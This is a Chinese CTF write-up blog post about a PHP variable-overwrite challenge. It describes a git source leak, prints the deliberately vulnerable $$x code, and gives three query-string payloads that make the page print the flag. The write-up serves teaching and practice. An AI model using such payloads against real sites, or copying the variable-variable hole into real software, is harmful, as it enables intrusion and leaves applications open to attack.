路径扫描,发现存在git文件泄露
用工具将源码脱下来,发现关键代码
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
//满足不GET和POST个flag
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
//满足GET或POST个flag
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
能确定就是需要我们输出$flag
,可以从代码中发现,如果我们不做些什么,那么将会exit
存在多种解:
$handsome
覆盖为$flag
foreach
将$handsome = $flag
,然后去满足if($_GET['flag'] === $x && $x !== 'flag')
,$x=handsome
即可最终形成poc:?handsome=flag&flag=handsome
$yds
替换为$flag
GET
和POST
个flag,并且要让$yds=$flag
最终poc:?yds=flag
$is
替换为$flag
最终poc:GET ?is=flag POST flag=flag
本文作者:硝基苯
本文链接:https://www.c6sec.com/index.php/archives/951/
最后修改时间:2024-01-05 17:27:42
本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!